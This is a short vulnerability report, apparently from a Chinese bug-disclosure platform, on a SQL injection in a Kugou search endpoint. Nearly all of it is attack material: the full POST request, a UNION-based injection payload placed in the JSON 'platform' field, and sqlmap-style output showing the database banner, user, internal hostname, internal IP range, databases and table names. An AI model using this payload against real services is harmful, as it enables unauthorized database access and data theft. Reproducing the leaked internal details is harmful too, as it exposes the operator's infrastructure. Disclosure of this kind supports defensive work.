酷狗一处POST SQL注入漏洞（可union查询）

POST /v1/word_nofocus HTTP/1.1
 Host: so.service.kugou.com
 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
 Accept-Encoding: gzip, deflate
 DNT: 1
 Connection: keep-alive
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 159
 
 {"appid":1001,"clientver":7685,"mid":"{9A228215-41D9-43AD-9A0C-613E7BA51838}","key":"980dfa886df5d7e4145037b79ef30c05","clienttime":1460173869,"platform":"pc"}

Parameter: JSON platform ((custom) POST)
     Type: UNION query
     Title: MySQL UNION query (19) - 7 columns
     Payload: {"appid":1001,"clientver":7680,"mid":"{7553F95E-DB33-45F7-BC84-1D68DC89A4A8}","key":"226698017d6ef361ed10c7caf898b19f","clienttime":1458471609,"platform":"pc' UNION ALL SELECT 19,CONCAT(0x71716a7a71,0x5157587053536246577971567766577847614543486e58417857786b476876757a5a6d656a41596e,0x716b766a71)#"}
 ---
 [15:18:42] [INFO] the back-end DBMS is MySQL
 [15:18:42] [INFO] fetching banner
 back-end DBMS: MySQL 5
 banner:    '5.5.19-log'
 [15:18:42] [INFO] fetching current user
 current user:    '%'
 [15:18:42] [INFO] fetching current database
 current database:    'search'
 [15:18:42] [INFO] fetching server hostname
 hostname:    'ZhaoWei_10_1_1_156'
 database management system users [1]:
 [*] 'search_reader'@'10.1.18.%'

available databases [3]:
 [*] information_schema
 [*] search
 [*] test

Database: search
 [17 tables]
 +----------------------+
 | check_source         |
 | correction_exception |
 | diy_sort             |
 | error_correction     |
 | kw_operate           |
 | likeword             |
 | onblur_tips          |
 | onblur_tips_logs     |
 | search_source        |
 | shielded_scids       |
 | shielded_songs       |
 | song_album           |
 | song_global          |
 | song_hot             |
 | song_special         |
 | song_tag             |
 | tag_search           |
 +----------------------+